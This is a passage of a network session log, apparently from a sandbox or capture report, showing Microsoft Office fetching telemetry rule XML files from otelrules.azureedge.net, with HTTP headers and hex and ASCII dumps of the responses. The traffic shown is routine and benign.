version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:05 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:05 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143905Z-r1cf579d7786c2tshC1EWRr1gc0000000590000000003a3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143906Z-r1cf579d778kr8xrhC1EWRfkun000000062g000000003zkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:07 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143907Z-r1cf579d778t6txphC1EWRsd44000000060g000000007c0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:07 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:07 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143907Z-r1cf579d778w59f9hC1EWRze6w00000005y000000000230f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:07 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9d874cb7-b01e-0021-2326-49cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143907Z-r1cf579d7789jf56hC1EWRu58800000000ng0000000064up x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:07 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143907Z-r1cf579d778kr8xrhC1EWRfkun00000006400000000026e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:08 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143908Z-r1cf579d778zvkpnhC1EWRv23g000000060g00000000081e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:08 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:09 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:09 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143909Z-r1cf579d7786c2tshC1EWRr1gc0000000570000000005s5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:09 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143909Z-r1cf579d7784wpmvhC1EWRk4cn000000053g000000004av3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:09 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:09 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143909Z-r1cf579d7786c2tshC1EWRr1gc000000058g000000004mpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:09 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143909Z-r1cf579d778qgtz2hC1EWRmgks00000005eg0000000044kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:10 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:10 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143910Z-r1cf579d778dndrdhC1EWR4b2400000005ag000000002xun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
